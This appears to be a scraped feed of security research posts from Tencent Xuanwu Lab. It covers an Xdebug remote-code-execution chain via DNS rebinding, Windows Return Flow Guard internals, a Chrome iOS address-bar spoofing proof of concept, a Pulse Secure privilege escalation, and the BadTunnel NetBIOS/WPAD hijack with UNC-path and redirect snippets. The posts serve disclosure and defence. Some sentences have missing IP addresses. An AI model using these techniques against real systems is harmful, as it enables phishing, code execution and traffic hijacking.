November 6th – Contract found to have a hash collision problem


[1] https://github.com/ethereum/solidity/issues/1550
[2] https://lilymoana.github.io/ethereum_theory.html
[3] https://github.com/FISCO-BCOS/Wiki/tree/master/%E6%B5%85%E8%B0%88Ethereum%E7%9A%84%E5%AD%98%E5%82%A8#StateDB%E6%A8%A1%E5%9D%97
[4] https://github.com/ethereum/cpp-ethereum

Pwning PHP developers //xlab.tencent.com/en/2018/04/02/pwning-php-developers/ Mon, 02 Apr 2018 02:48:18 +0000 //xlab.tencent.com/en/?p=195 Continue reading "Pwning PHP developers"]]> TL;DR
A php programmer who use xdebug’s remote debugging feature may affects RCE when he just access to attacker’s website in modern browsers.

Xdebug is an extension for PHP to assist with debugging and development. PHP programmers or web security researchers always setup a local PHP debugging environments for convenience. If the debugging server can be directly accessed by an attacker, there is a Remote Code Execution vulnerability.

But usually, these servers are in Intranet and some even bind on, which makes it hard to be accessed. What if attacking Xdebug using CSRF?

Let’s read the Xdebug’s document first. As in the doc, if xdebug.remote_connect_back is enabled, the xdebug.remote_host setting is ignored and Xdebug will try to connect to the client that made the HTTP request. It checks the $_SERVER['HTTP_X_FORWARDED_FOR'] and $_SERVER['REMOTE_ADDR'] variables to find out which IP address to use.

If xdebug is configured as follows, we can use $_SERVER['HTTP_X_FORWARDED_FOR'] as the connect back ip.

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
xdebug.remote_log =  /tmp/test.log

For php programmers, there are always index.php or config.php in there local debugging environment. If the attatcker can send a http request with X-Forwarded-For header(which points to attacker’s server) to local url just like or, the attacker can get a Xdebug’s connect back and then use DBGp commands to execute any php code.

As we all know, sending CORS request headers other than simple headers in browsers, a preflight request is required to check whether the CORS request is allowed. To bypass this check, there is a tech called DNS Rebind(remember the challenge Monkey I made in 0CTF 2016 ?). Attacker can setup a private dns server and make a domain first resolved to attacker’s ip and then When victim accesses the malicious web page, for example http://attacker-domain-with-dns-rebind/exp.html, the browser pulls payload, sending requests to http://attacker-domain-with-dns-rebind/index.php?XDEBUG_SESSION_START with X-Forwarded-For header repeatedly. There is no preflight request because the exploit page and the requested page are same origin.

It needs some time when the DNS record changes to because of cache mechanism in the browser. When the domain resolves to, the Xdebug on victim’s machine will connect to attacker’s ip and eval any php code the attacker provided through DBGp.

The cause of this attack is that Xdebug uses a untrusted value as connect back IP from X-Forwarded-For header.

Tencent’s Xuanwu Lab reported this to PHP on March 26, but PHP don’t think it is a security issue and they made the report public on March 30.

Tencent’s Xuanwu Lab suggests PHP programmers and security researchers who use Xdebug set xdebug.remote_host to a proper value to keep safety.

2018-03-26: Report to PHP
2018-03-30: They think it is not a security issue and change the report from security to bug, everyone can see the report.


Return Flow Guard //xlab.tencent.com/en/2016/11/02/return-flow-guard/ Wed, 02 Nov 2016 06:29:27 +0000 //xlab.tencent.com/en/?p=137 Continue reading "Return Flow Guard"]]> [DannyWei, lywang, FlowerCode] of Tencent Xuanwu Lab

Here is a preliminary documentation of the RFG implementation. We will update it once we have new findings and corrections.

We analyzed the Return Flow Guard introduced in Windows 10 Redstone 2 14942, released on October 7, 2016.


Microsoft introduced Control Flow Guard in Windows 8.1 to protect against malicious modification of indirect call function pointers. CFG checks the target function pointer before each indirect call. However, CFG cannot detect modification of the return address on stack, or Return Oriented Programming.
The newly added RFG effectively stops these kind of attacks by saving the return address to fs:[rsp] at the entry of each function, and compare it with the return address on stack before returning.
Enabling RFG require both compiler and operating system support. During compilation, the compiler instruments the file by reserving a certain number of instruction spaces in the form of nop instructions.
When the target executable runs on a supported operating system, the reserved spaces are dynamically replaced with RFG instructions to check function return addresses. Otherwise, these nop instructions will not interfere with normal execution flow of the program.
The difference between RFG and GS (Buffer Security Check) is that the stack cookie can be obtained by using information leak or brute forcing, the RFG return address is written to the Thread Control Stack out of reach of attackers. This significantly increased the difficulty of the attack.



This variable is controlled by a registry value located at:

\Registry\Machine\SYSTEM\CurrentControlSet\Control\Session Manager\kernel
EnableRfg : REG_DWORD

2.1.1 Initialization

KiSystemStartup -> KiInitializeKernel -> InitBootProcessor -> CmGetSystemControlValues


Control flags are stored in the IMAGE_LOAD_CONFIG_DIRECTORY64 structure in PE file.
Flags in GuardFlag field indicate RFG support status.

#define IMAGE_GUARD_RF_INSTRUMENTED                    0x00020000 // Module contains return flow instrumentation and metadata
#define IMAGE_GUARD_RF_ENABLE                          0x00040000 // Module requests that the OS enable return flow protection
#define IMAGE_GUARD_RF_STRICT                          0x00080000 // Module requests that the OS enable return flow protection in strict mode


2.3.1 Querying

The RFG status can be queried through Win32 API GetProcessMitigationPolicy.

// ...
    ProcessReturnFlowGuardPolicy = 11
// ...

2.3.2 Structure Definition

    union {
        DWORD Flags;
        struct {
            DWORD EnableReturnFlowGuard : 1;
            DWORD StrictMode : 1;
            DWORD ReservedFlags : 30;



RFG instrumented portable executables have added several new fields, 24 bytes in total.

ULONGLONG  GuardRFFailureRoutine; 
ULONGLONG  GuardRFFailureRoutineFunctionPointer; 
DWORD      DynamicValueRelocTableOffset;
WORD       DynamicValueRelocTableSection;

2 pointers (16 bytes):
Virtual Address of the _guard_ss_verify_failure function
Virtual address of the _guard_ss_verify_failure_fptr function pointer, which points to the _guard_ss_verify_failure_default function by default.

Information about the address table (6 bytes):
DynamicValueRelocTableOffset recording the offset of dynamic relocation table relative to the relocation table, and
DynamicValueRelocTableSection recorded the section index of the dynamic value relocation table.
The remaining bytes are reserved.


RFG instrumented portable executables have a new dynamic relocation table after the normal relocation table.

    DWORD Version;
    DWORD Size;
//  IMAGE_DYNAMIC_RELOCATION DynamicRelocations[0];

    PVOID Symbol;
    DWORD BaseRelocSize;
//  IMAGE_BASE_RELOCATION BaseRelocations[0];

typedef struct _IMAGE_BASE_RELOCATION {
    DWORD   VirtualAddress;
    DWORD   SizeOfBlock;
//  WORD    TypeOffset[1];
Symbol in IMAGE_DYNAMIC_RELOCATION indicates the stored entries are for function prologues or function epilogues, defined as follows:

The absolute address of an entry can be calculated from ImageBase + VirtualAddress + TypeOffset.



4.1.1 Inserted Prologue Bytes (9 Bytes)

xchg    ax, ax
nop     dword ptr [rax+00000000h]
4.1.2   Inserted Epilogue Bytes (Example, 15 Bytes)
db 0Eh dup(90h)

4.1.2 Inserted Epilogue Bytes (Example, 15 Bytes)

db 0Eh dup(90h)

To reduce overhead, the compiler also inserts a _guard_ss_common_verify_stub function. Instead of inserting nop bytes at the end of every function, the compiler simply ends most function with a jmp to this stub function. This stub function has nop bytes to be replaced with epilogue bytes by the kernel at runtime, and a retn instruction at the end.

__guard_ss_common_verify_stub proc near
db 0Eh dup(90h)
__guard_ss_common_verify_stub endp


MiPerformRfgFixups performs the instruction replacement according to function information stored in IMAGE_DYNAMIC_RELOCATION_TABLE when new executable section is being created.

4.2.1 Replaced Prologue Bytes (9 Bytes)

The kernel uses MiRfgInstrumentedPrologueBytes to replace compiler inserted prologue bytes.

mov     rax, [rsp]
mov     fs:[rsp], rax

4.2.2 Replaced Epilogue Bytes (15 Bytes)

The kernel uses MiRfgInstrumentedEpilogueBytes and _guard_ss_verify_failure function address recorded in to replace the compiler inserted epilogue bytes.

mov     r11, fs:[rsp]
cmp     r11, [rsp] 


To implement RFG, Microsoft introduced Thread Control Stack, and reused the fs segment register on x64 architecture. When RFG enabled process executes the mov fs:[rsp], rax instructions, fs segment register points to the current thread’s ControlStackLimit on the control stack, and write rax into rsp offset.
All user mode threads in one process are using different memory blocks within same Thread Control Stack. We can enumerate the virtual address descriptor tree of the process to obtain the _MMVAD structure that describes the process’s Thread Control Stack.

    typedef struct _MMVAD {
      /* 0x0000 */ struct _MMVAD_SHORT Core;
      union {
        union {
          /* 0x0040 */ unsigned long LongFlags2;
          /* 0x0040 */ struct _MMVAD_FLAGS2 VadFlags2;
        }; /* size: 0x0004 */
      } /* size: 0x0004 */ u2;
      /* 0x0044 */ long Padding_;
      /* 0x0048 */ struct _SUBSECTION* Subsection;
      /* 0x0050 */ struct _MMPTE* FirstPrototypePte;
      /* 0x0058 */ struct _MMPTE* LastContiguousPte;
      /* 0x0060 */ struct _LIST_ENTRY ViewLinks;
      /* 0x0070 */ struct _EPROCESS* VadsProcess;
      union {
        union {
          /* 0x0078 */ struct _MI_VAD_SEQUENTIAL_INFO SequentialVa;
          /* 0x0078 */ struct _MMEXTEND_INFO* ExtendedInfo;
        }; /* size: 0x0008 */
      } /* size: 0x0008 */ u4;
      /* 0x0080 */ struct _FILE_OBJECT* FileObject;
    } MMVAD, *PMMVAD; /* size: 0x0088 */

    typedef struct _MMVAD_SHORT {
      union {
        /* 0x0000 */ struct _RTL_BALANCED_NODE VadNode;
        /* 0x0000 */ struct _MMVAD_SHORT* NextVad;
      }; /* size: 0x0018 */
      /* 0x0018 */ unsigned long StartingVpn;
      /* 0x001c */ unsigned long EndingVpn;
      /* 0x0020 */ unsigned char StartingVpnHigh;
      /* 0x0021 */ unsigned char EndingVpnHigh;
      /* 0x0022 */ unsigned char CommitChargeHigh;
      /* 0x0023 */ unsigned char SpareNT64VadUChar;
      /* 0x0024 */ long ReferenceCount;
      /* 0x0028 */ struct _EX_PUSH_LOCK PushLock;
      union {
        union {
          /* 0x0030 */ unsigned long LongFlags;
          /* 0x0030 */ struct _MMVAD_FLAGS VadFlags;
        }; /* size: 0x0004 */
      } /* size: 0x0004 */ u;
      union {
        union {
          /* 0x0034 */ unsigned long LongFlags1;
          /* 0x0034 */ struct _MMVAD_FLAGS1 VadFlags1;
        }; /* size: 0x0004 */
      } /* size: 0x0004 */ u1;
      /* 0x0038 */ struct _MI_VAD_EVENT_BLOCK* EventList;
    } MMVAD_SHORT, *PMMVAD_SHORT; /* size: 0x0040 */

    typedef struct _RTL_BALANCED_NODE {
      union {
        /* 0x0000 */ struct _RTL_BALANCED_NODE* Children[2];
        struct {
          /* 0x0000 */ struct _RTL_BALANCED_NODE* Left;
          /* 0x0008 */ struct _RTL_BALANCED_NODE* Right;
        }; /* size: 0x0010 */
      }; /* size: 0x0010 */
      union {
        /* 0x0010 */ unsigned char Red : 1; /* bit position: 0 */
        /* 0x0010 */ unsigned char Balance : 2; /* bit position: 0 */
        /* 0x0010 */ unsigned __int64 ParentValue;
      }; /* size: 0x0008 */
    } RTL_BALANCED_NODE, *PRTL_BALANCED_NODE; /* size: 0x0018 */

    typedef struct _RTL_AVL_TREE {
      /* 0x0000 */ struct _RTL_BALANCED_NODE* Root;
    } RTL_AVL_TREE, *PRTL_AVL_TREE; /* size: 0x0008 */

    typedef struct _EPROCESS {
        struct _RTL_AVL_TREE VadRoot;

We can use _EPROCESS.VadRoot to walk through the VAD tree. If _MMVAD.Core.VadFlags.RfgControlStack flag is set, the current _MMVAD describes the virtual memory address range of the thread control stack (StartingVpn, EndingVpn, StartingVpnHigh, EndingVpnHigh in _MMVAD.Core), defined as follows:

    typedef struct _MMVAD_FLAGS {
      struct /* bitfield */ {
        /* 0x0000 */ unsigned long VadType : 3; /* bit position: 0 */
        /* 0x0000 */ unsigned long Protection : 5; /* bit position: 3 */
        /* 0x0000 */ unsigned long PreferredNode : 6; /* bit position: 8 */
        /* 0x0000 */ unsigned long NoChange : 1; /* bit position: 14 */
        /* 0x0000 */ unsigned long PrivateMemory : 1; /* bit position: 15 */
        /* 0x0000 */ unsigned long PrivateFixup : 1; /* bit position: 16 */
        /* 0x0000 */ unsigned long ManySubsections : 1; /* bit position: 17 */
        /* 0x0000 */ unsigned long Enclave : 1; /* bit position: 18 */
        /* 0x0000 */ unsigned long DeleteInProgress : 1; /* bit position: 19 */
        /* 0x0000 */ unsigned long PageSize64K : 1; /* bit position: 20 */
        /* 0x0000 */ unsigned long RfgControlStack : 1; /* bit position: 21 */ 
        /* 0x0000 */ unsigned long Spare : 10; /* bit position: 22 */
      }; /* bitfield */
    } MMVAD_FLAGS, *PMMVAD_FLAGS; /* size: 0x0004 */

    typedef struct _MI_VAD_EVENT_BLOCK {
      /* 0x0000 */ struct _MI_VAD_EVENT_BLOCK* Next;
      union {
        /* 0x0008 */ struct _KGATE Gate;
        /* 0x0008 */ struct _MMADDRESS_LIST SecureInfo;
        /* 0x0008 */ struct _RTL_BITMAP_EX BitMap;
        /* 0x0008 */ struct _MMINPAGE_SUPPORT* InPageSupport;
        /* 0x0008 */ struct _MI_LARGEPAGE_IMAGE_INFO LargePage;
        /* 0x0008 */ struct _ETHREAD* CreatingThread;
        /* 0x0008 */ struct _MI_SUB64K_FREE_RANGES PebTebRfg;
        /* 0x0008 */ struct _MI_RFG_PROTECTED_STACK RfgProtectedStack;
      }; /* size: 0x0038 */
      /* 0x0040 */ unsigned long WaitReason;
      /* 0x0044 */ long __PADDING__[1];
    } MI_VAD_EVENT_BLOCK, *PMI_VAD_EVENT_BLOCK; /* size: 0x0048 */

    typedef struct _MI_RFG_PROTECTED_STACK {
      /* 0x0000 */ void* ControlStackBase;
      /* 0x0008 */ struct _MMVAD_SHORT* ControlStackVad;

When a RFG protected thread is created, nt!MmSwapThreadControlStack sets the thread’s ETHREAD.UserFsBase. It uses MiLocateVadEvent to search for MMVAD to be set as UserFsBase.
It uses the following formula to calculate the ETHREAD.UserFsBase:

ControlStackBase = MMVAD.Core.EventList.RfgProtectedStack.ControlStackBase
ControlStackLimitDelta = ControlStackBase - (MMVAD.Core.StartingVpnHigh * 0x100000000 + MMVAD.Core.StartingVpn ) * 0x1000
ETHREAD.UserFsBase = ControlStackLimitDelta

Each thread has its own shadow stack range in Thread Control Stack. If the current thread uses range ControlStackBase ~ ControlStackLimit, then ControlStackLimit = KTHTREAD.StackLimit + ControlStackLimitDelta. So the actual value stored in UserFsBase is the offset of ControlStackLimit from StackLimit. When multiple threads access the shadow stack simultaneously, the actual address accessed is located at ETHREAD.UserFsBase + rsp.


We wrote a simple yara signature to identify RFG instrumented PE file.

rule rfg {
        $pe = { 4d 5a }
        $a = { 66 90 0F 1F 80 00 00 00 00 }
        $b = { C3 90 90 90 90 90 90 90 90 90 90 90 90 90 90 C3 }
        $c = { E9 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 E9 }

        $pe at 0 and $a and ($b or $c)


yara64.exe -r -f rfg.yara %SystemRoot%

We can observe from the output that most system executable files are already RFG instrumented in this version of Windows.
Here we use IDA Pro and WinDbg to examine a RFG instrumented calc.exe.

.text:000000014000176C wWinMain
.text:000000014000176C                 xchg    ax, ax
.text:000000014000176E                 nop     dword ptr [rax+00000000h]

The entry point before runtime replacement

0:000> u calc!wWinMain
00007ff7`91ca176c 488b0424        mov     rax,qword ptr [rsp]
00007ff7`91ca1770 6448890424      mov     qword ptr fs:[rsp],rax

The entry point after runtime replacement

.text:00000001400025BC __guard_ss_common_verify_stub
.text:00000001400025BC                 retn
.text:00000001400025BD                 db 0Eh dup(90h)
.text:00000001400025CB                 retn

The common verify stub function before runtime replacement

0:000> u calc!_guard_ss_common_verify_stub
00007ff7`91ca25bc 644c8b1c24      mov     r11,qword ptr fs:[rsp]
00007ff7`91ca25c1 4c3b1c24        cmp     r11,qword ptr [rsp]
00007ff7`91ca25c5 0f85f5000000    jne     calc!_guard_ss_verify_failure (00007ff7`91ca26c0)
00007ff7`91ca25cb c3              ret

The common verify stub function after runtime replacement


Exploring Control Flow Guard in Windows 10 Jack Tang, Trend Micro Threat Solution Team

CVE-2016-1707 Chrome Address Bar URL Spoofing on IOS //xlab.tencent.com/en/2016/10/10/cve-2016-1707-chrome-address-bar-url-spoofing-on-ios/ Mon, 10 Oct 2016 03:18:36 +0000 //xlab.tencent.com/en/?p=91 Continue reading "CVE-2016-1707 Chrome Address Bar URL Spoofing on IOS"]]> Address Bar URL Spoofing on IOS Chrome (CVE-2016-1707), I report the vulnerability to Google in June 2016. Spoofing URL vulnerability can be forged a legitimate Web site address. Attacker can exploit this vulnerability to launch phishing attack.

Affected version: Chrome < v52.0.2743.82, IOS < v10

0x01 Vulnerability Details




function pwned() {

    var t = window.open('https://www.gmail.com/', 'aaaa');
    t.document.write("<h1>Address bar says https://www.gmail.com/ - this is NOT https://www.gmail.com/</h1>");


<a href="https://hack.com::/"  target="aaaa" onclick="setTimeout('pwned()','500')">click me</a><br>

How the vulnerability happened? First click on the ‘click me’ link, The browser opens a new window called aaaa, this page loads the “https://hack.com::”, this address can be casually write. Continue running Pwned () after 500 microseconds , open the ‘https://www.gmail.com’ in the aaaa window, of course, this URL can be empty. Up to now, all the code is running well, and the next code is the core code to trigger the vulnerability.

base64 payload code:

    var link = document.createElement('a');
    link.href = 'https://gmail.com::';

Begin loading ‘https://gmail.com::’ in aaaa window , happying, Chrome allows to load ‘https://gmail.com::’, and then chrome address as a pending entry. Because ‘https://gmail.com::’ is an invalid address, i think Chrome should jump to about:blank, but chrome commits pending entry (‘https://gmail.com::’) and promotes it as a last committed URL. At this point, the entire loading process is completed. A perfect Spoofing URL vulnerability was born.

Online demo:



0x02 Fixed

[IOS] Do not commit invalid URLs during web load.

[self optOutScrollsToTopForSubviews];

// Ensure the URL is as expected (and already reported to the delegate). - DCHECK(currentURL == _lastRegisteredRequestURL) + // If |_lastRegisteredRequestURL| is invalid then |currentURL| will be + // "about:blank". + DCHECK((currentURL == _lastRegisteredRequestURL) || + (!_lastRegisteredRequestURL.is_valid() && + _documentURL.spec() == url::kAboutBlankURL)) << std::endl << "currentURL = [" << currentURL << "]" << std::endl << "_lastRegisteredRequestURL = [" << _lastRegisteredRequestURL << "]"; // This is the point where the document's URL has actually changed, and // pending navigation information should be applied to state information. [self setDocumentURL:net::GURLWithNSURL([_webView URL])]; - DCHECK(_documentURL == _lastRegisteredRequestURL); + + if (!_lastRegisteredRequestURL.is_valid() && + _documentURL != _lastRegisteredRequestURL) { + // if |_lastRegisteredRequestURL| is an invalid URL, then |_documentURL| + // will be "about:blank". + [[self sessionController] updatePendingEntry:_documentURL]; + } + DCHECK(_documentURL == _lastRegisteredRequestURL || + (!_lastRegisteredRequestURL.is_valid() && + _documentURL.spec() == url::kAboutBlankURL)); + self.webStateImpl->OnNavigationCommitted(_documentURL); [self commitPendingNavigationInfo]; if ([self currentBackForwardListItemHolder]->navigation_type() ==

0x03 Discloure Timeline:

2016/6/22 Report to Google,https://bugs.chromium.org/

2016/6/22 Google assigned,Security_Severity-High

2016/7/14 Google reward $3000

2016/7/20 Google advisory disclosed,CVE-2016-1707

2016/10/2 Google allpublic disclosed

0x04 References

[1] https://googlechromereleases.blogspot.com/2016/07/stable-channel-update.html

[2] https://bugs.chromium.org/p/chromium/issues/detail?id=622183

[3] https://chromium.googlesource.com/chromium/src/+/5967e8c0fe0b1e11cc09d6c88304ec504e909fd5

Pulse Secure Desktop Client (Juniper Junos Pulse) Privilege Escalation //xlab.tencent.com/en/2016/07/19/xlab-16-001/ Tue, 19 Jul 2016 10:00:11 +0000 //xlab.tencent.com/en/?p=52 Continue reading "Pulse Secure Desktop Client (Juniper Junos Pulse) Privilege Escalation"]]> XLAB ID: XLAB-16-001     

CVE ID: CVE-2016-2408     

Patch Status: Fixed

Affected Products:
– Pulse Secure Desktop Client (Juniper Junos Pulse) All Versions up to v5.2r3

Vendor Provided (see vendor advisory in Solution section for details):
– Pulse Secure Desktop Client 5.2R1 to 5.2R2, 5.1R1 to 5.1R9, 5.0R1 to 5.0R15
– Standalone Pulse Installer Service 8.2R1 to 8.2R2, 8.1R1 to 8.1R9, 8.0R1 to 8.0R15, 7.4R1 to 7.4R13.6
– Pulse Secure Collaboration 8.2R1 to 8.2R2, 8.1R1 to 8.1R9, 8.0R1 to 8.0R15
– Odyssey Access Client all versions before 5.6R16

This vulnerability only affects Windows operating system.

“The Pulse Secure desktop client provides a secure and authenticated connection from an endpoint device (either Windows or Mac OS X) to a Pulse Secure gateway (either Pulse Connect Secure or Pulse Policy Secure).”

Vulnerability Details:
Juniper Junos Pulse (now known as Pulse Secure Desktop Client) installs a system service dsAccessService.exe, which owns a named pipe NeoterisSetupService.

This named pipe has an Everyone Full Control ACL and is writable by all users.

The pipe server employs a custom encryption function. The key is derived from processor type, processor frequency, operating system product id, operating system version, and hardcoded values.

This pipe is used to install new services, possibly for automatic upgrade purpose. Once new data is received from the pipe, it is decrypted as a file path, and the specified file is copied to C:\Windows\Temp\ and executed.

The service installation logic is implemented in dsInstallService.dll. It reads the path and split file name from the path. But this implementation has a bug which cause it to only split string after the “\” character from the path, but not the “/” character.

Pass in a path such as “C:\Users/Guest/AppData/Local/test.exe” will cause it to use “Users/Guest/AppData/Local/test.exe” as the file name, and CopyFile to path “C:\Windows\Temp\Users/Guest/AppData/Local/test.exe”.

When the CopyFile fails, the program then uses the original path “C:\Users/Guest/AppData/Local/test.exe” to create new process.

Finally, the service will verify the digital signature before executing the file. However, since the path is completely controllable by the attacker, simply placing a signed executable under “C:\Users/Guest/AppData/Local/” and hijack the executable with a malicious DLL can trigger arbitrary code execution and privilege escalation to SYSTEM.

Install the latest version of Pulse Secure product, which is available from Pulse Secure official website.
Pulse Secure has also issued an advisory about this vulnerability:

Disclosure Timeline:

2016/02/18 Report vulnerability to MITRE
2016/02/18 MITRE assigned CVE-ID CVE-2016-2408
2016/02/18 Provide vulnerability detail and CVE-ID to Pulse Secure via psirt at pulsesecure.net
2016/02/18 Pulse Secure responded that they are developing a fix, but no timeline is available
2016/03/07 Pulse Secure responded that they are still developing a fix, but no timeline is available,
“update soon”
2016/03/25 Pulse Secure responded that they are still developing a fix, but no timeline is available
2016/04/22 Notify Pulse Secure it is now 63 days since original report, asking fix progress
2016/04/26 Pulse Secure responded that they are still developing a fix, but no timeline is available,
asking for grace periods
2016/05/03 Reply that we do give grace periods but need an ETA
2016/05/12 Pulse Secure responded that they are still developing a fix, but no timeline is available
2016/05/19 Pulse Secure responded that they are still developing a fix, ETA is October 2016,
asking for grace periods
2016/05/20 Reply that we do not give grace period this long and another 60 days is the maximum.
2016/05/20 Pulse Secure responded that another 60 days is acceptable
2016/07/18 Pulse Secure responded that an issue has been found in internal testing, and
request another extension to August 1, 2016.
2016/07/18 Reply that we have already requested coordination from multiple organizations and
the process is irreversible. Last day is July 25, 2016.
2016/07/25 Coordinated disclosure

This vulnerability was discovered by:   Zhipeng Huo

BadTunnel – A New Hope //xlab.tencent.com/en/2016/06/17/badtunnel-a-new-hope/ Fri, 17 Jun 2016 08:20:27 +0000 //xlab.tencent.com/en/?p=88 Continue reading "BadTunnel – A New Hope"]]>

This article purposes a new attack model to hijack TCP/IP broadcast protocol across different network segment, named “BadTunnel”.

With this method, NetBIOS Name Service Spoofing can be achieved, regardless of the attacker and the victim is on the same or different network, the firewalls and NAT devices in between. All it need is the victim navigate to a malicious web page with IE or Edge, or open a specially crafted document, and the attacker can hijack the victim’s NetBIOS name query to spoof as print server or file server in the local network.

By hijacking the WAPD name, the attacker can hijack all network communications, including but not limited to usual web accesses, Windows Update service and Microsoft Crypto API Certificate revocation list updates. Once the hijack is successful, it is easy to achieve arbitrary execution of program on the target system by using Evilgrade [1].

This method is effective on all Windows versions before the June 2016 patch, and can be exploited through all Internet Explorer, Microsoft Edge, and Microsoft Office versions, and can also be exploited through third-party applications. In fact, BadTunnel attack can be conducted on anywhere that a file URI scheme or UNC path can be embedded. For example, if a shortcut’s icon path is pointed to the malicious file URI scheme or UNC path, the BadTunnel attack can be triggered at the moment the user sees it in the Windows Explorer, which means BadTunnel can also be exploited through web pages, emails, USB flash drives and many other ways. It can even impact Web servers and SQL servers [2].

(This article does not include all contents covered by the BadTunnel research, the remaining part will be released in my presentation “BadTunnel: How do I get Big Brother power” on BlackHat US 2016.)

0x00 Background

NetBIOS is an ancient protoco. In 1987, IETF released RFC 1001 and RFC 1002, which defined NetBIOS over TCP/IP or NBT for short. NetBIOS includes three services, among them the Name service NetBIOS-NS, or NBNS for short. NBNS can resolve local names by broadcasting in the LAN.

When trying to access \\Tencent\Xuanwu\Lab\tk.txt, NBNS will send a NBNS NB query to the broadcast address:

Who is “Tencent”?

Any host in LAN can respond to this request:

“Tencent” is at

Then the victim’s computer will accept this response and tries to access \\\XuanwuLab\tk.txt.

This mechanism is definitely not safe, but since LAN is usually treated as trusted network, this spoofing possibility is not considered as vulnerability – just like the ARP Spoofing.

WPAD (Web Proxy Auto-Discovery Protocol) is another ancient protocol with over 20 years of history. As the name suggests, it is used for automatically discover and configure system proxy. Almost all operating systems support WPAD, but only Windows enable it by default. According to this protocol, Windows tries to resolve the name http://WPAD/wpad.dat to retrieve proxy configuration script.

On Windows, the name “WPAD” is resolved by NBNS. As previously stated, any host can claim it is “WPAD” in a LAN. This is not secure but acceptable since the LAN is considered trusted network environment. Although WPAD hijacking has been found more than a decade ago and used by the Flame worm, it is not considered as security vulnerability – just like the ARP Spoofing.

NBNS is implemented on top of the UDP protocol, which is a stateless protocol. Firewalls, NAT devices and other network devices cannot distinguish which session the UDP packet belongs to, so they must allow the UDP packet on both directions.

NBNS name query uses the broadcast protocol, but like most other broadcast protocols, NBNS accept responses from outside the network segment. Which means, if sends a request to, but responds in time, the response will be accepted by In some enterprise networks, this is required by the network topology.

0x01 Implementation

If we could send a fake response from outside the network segment when the name query is performed by the NBNS, it can still be accepted. Therefore, NBNS Spoofing across different network segment is possible, but with a few problems:

  1. Most hosts have firewall enabled, which makes it impossible to send data to the host. Even if there is no firewall, there is no way to directly send data from internet to intranet. Does that mean we can only do NBNS Spoofing to these systems that have public IP address and no firewall enabled?
  2. There is a DNS protocol look-alike encapsulated within the NBNS protocol, so it also includes a Transaction ID. Only packets with matching Transaction IDs are accepted.
  3. How do we know when to send the NBNS Spoofing packet, if the host outside the LAN cannot receive the NBNS NB query broadcast?

Fortunately, all these problems can be solved.

First, the Windows operating system only uses 137/UDP port for NBNS. “Only” means that the source and target ports are always 137/UDP. If an intranet host is sending NBNS request to, it will look like this: -> NAT:54231 ->

The response from will look like this: <- NAT:54231 <-

That is, the local firewalls on or NAT, or any other intermediate network devices, must allow any UDP packet from to to pass through in a certain amount of time, if it allows the query at all. This opens up a dual direction UDP tunnel, hence the name BadTunnel: <-> NAT:54231 <->

One quick experiment to help you understand this tunnel:

Prepare two systems with firewall enabled, with IP address set to and, respectively.

On, execute command “nbtstat -A”, it will fail.

On, execute command “nbtstat -A”, it will success.

On, execute “nbtstat -A” once again, it will success.

How can we make send a NBNS request to When Windows is trying to access a file URI scheme or UNC path with IP address, if the 139 and 445 port of the target is inaccessible – either timed out or been reset– the system will send a NBNS NBSTAT query to this IP address. There are numerous ways to make a system access a file URI scheme or UNC path.

The Microsoft Edge and Internet Explorer both try to resolve the file URI scheme or UNC path in the web page:

<img src=”\\\BadTunnel”>

All types of Microsoft Office documents can have embedded file URI scheme or UNC path, the same is true for many third-party document types.

If we have a shortcut with icon path point to a UNC path, this UNC path is accessed once the shortcut is shown on the screen.

If the target is a web server, maybe only one HTTP request is needed:


The NBNS Transaction ID is not random but incremental. As we have noted previously, the NBNS sends a NBNS NB query when resolving a name; the system sends a NBNS NBSTAT query when failing to access a file URI scheme or UNC path. NBNS NB query and NBNS NBSTAT query not only uses the same 137/UDP port, but also shares the same Transaction ID counter. That is, when fails to access \\\BadTunnel, the NBNS NBSTAT query it send to not only opens up a dual direction UDP tunnel, but also leaks the Transaction ID value to

That is, a single NBNS NBSTAT query solved both problem 1 and 2. And the third problem is even easier to solve. Just like we can embed <img src=”\\\BadTunnel”> in our web page, we can also embed:

<img src=”http://WPAD/wpad.dat” >

In this way, we can control the time the system sends the NBNS NB query to WPAD, so we can craft our response in time. Finally the system will cache the response to http://WPAD/wpad.dat in its web cache. Later, when the system is requesting http://WPAD/wpad.dat to set proxy configuration, it will retrieve from the web cache. At least for Windows 7, the spoofed http://WPAD/wpad.dat will persist after reboots, just like other web resources.

Even if Web cache is not in place, the NBNS has its own caching mechanism. With one successful NBNS Spoofing, the spoofed response will be cached for 10 minutes:

In the next 10 minutes the operating system itself will also try to resolve the WPAD name and access http://WPAD/wpad.dat to download proxy configurations, so it will get the spoofed response. Once the attacker has successfully hijacked the user’s network flow, he can periodically redirect certain HTTP requests to make the BadTunnel attack persistent:

HTTP/1.1 302 Found
Content-Type: text/html
Location: file://
Content-Length: 0

0x02 Conclusion

The BadTunnel attack described in this article is a serious security problem, and the root cause is not obvious to find. The following dependencies are required for the attack to be successful:

  1. UDP protocol is connectionless.
  2. Broadcast requests can accept response from outside the network segment.
  3. WPAD is enabled by default on Windows.
  4. Windows file APIs supports UNC path by default.
  5. When Windows fails to access a UNC path by connecting to 139 and 445 ports, a NBNS NBSTAT query will be performed.
  6. NBNS always uses the same port on the client and server side.
  7. NBNS Transaction ID uses a counter rather than a RNG.
  8. NBNS NBSTAT query and NBNS NB query shares the same counter.
  9. WPAD shares the same Web and NBNS cache with other applications in the system.

These designs do not seem to be a problem independently; some are even required. We certainly can’t blame UDP for connectionless. Even the NBNS Transaction ID is not randomly generated, this alone does not become security vulnerability. The NBNS NB mechanism was designed for the intranet, and any host in the intranet can receive the NBNS NB query broadcast packets. However, although seems not to be a problem independently, they become a massive vulnerability when work collaboratively. How can we find the next BadTunnel?

0x03 Mitigation Recommendations

Even if the MS16-063 and MS16-077 patch cannot be installed immediately, there are workarounds that can stop the BadTunnel attack.

For enterprises, they can drop the 137/UDP packets on perimeter firewalls.

For end users that do not need to access Windows network sharing services, NetBIOS over TCP/IP can be disabled:

For minimal compatibility impact, WPAD address can be pinned to in %SystemRoot%System32driversetchosts, or the automatic proxy discovery can be disabled to prevent hijacking:

However, BadTunnel is not limited to WPAD, and this does not stop hijacking of other names.

0x04 A Little Disappointment

Using BadTunnel to hijack WPAD is possibly the Windows vulnerability that has the widest impact and most exploit channels in the history. It is also the only vulnerability that can target all versions of Windows with one exploit. It could have been more interesting.

